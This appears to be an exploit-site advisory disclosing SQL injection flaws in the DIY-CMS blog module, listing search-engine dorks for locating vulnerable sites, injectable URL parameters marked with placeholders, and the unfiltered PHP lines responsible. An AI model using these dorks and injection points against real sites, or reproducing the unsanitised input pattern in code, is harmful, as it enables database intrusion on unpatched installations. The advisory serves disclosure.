DIY-CMS blog mod SQL Injection

2011-12-29 14:15:04

# Exploit Title: DIY-CMS blog mod SQL Injection
# Author: snup
# Contact: [email protected]
# Site: http://e-o-u.org

SQL Injection:

DORK:
inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"
inurl:"mod.php?mod=blog"

BUG:
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=tags&tag=features&start=[sqli]
http://127.0.0.1/diy-cms/mod.php?mod=blog&start=[sqli]
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=[sqli]
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=[sqli]
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=list&catid=4&start=[sqli]
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=2&start=[sqli]
http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=viewpost&blogid=26&start=[sqli]

Why?:

The variables $start, $year, $month are not filtered

In file: /modules/blog/tags.php , list.php , index.php ,
main_index.php , viewpost.php

$start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

In file: /modules/blog/archive.php

$start =(!isset($_GET['start'])) ? '0' : $_GET['start'];
$month =(!isset($_GET['month'])) ?
error_msg($lang['ARCHIVE_NO_MONTH_SPECIFIED']) : $_GET['month'];
$year =(!isset($_GET['year'])) ?
error_msg($lang['ARCHIVE_NO_YEAR_SPECIFIED']) : $_GET['year'];

In file: /modules/blog/control/approve_comments.php ,
approve_posts.php , viewcat.php

$start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

###########
# Gr33tz: #
#####################################################
# agilob, cOnd, czoik, drummachina, gocys, prick #
# im2ee, MadCow, n1k0n3r, R3w, rtgn, SiD, vizzdoom #
# irc.freenode.net #pakamera , http://e-o-u.org #
#####################################################

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.